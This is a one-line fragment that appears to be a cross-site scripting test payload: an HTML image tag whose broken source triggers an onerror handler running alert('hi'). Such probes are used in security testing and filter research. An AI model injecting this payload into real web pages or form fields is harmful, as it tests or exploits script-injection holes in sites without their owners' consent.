<img onerror=alert("hi")[HTML_REMOVED] src=a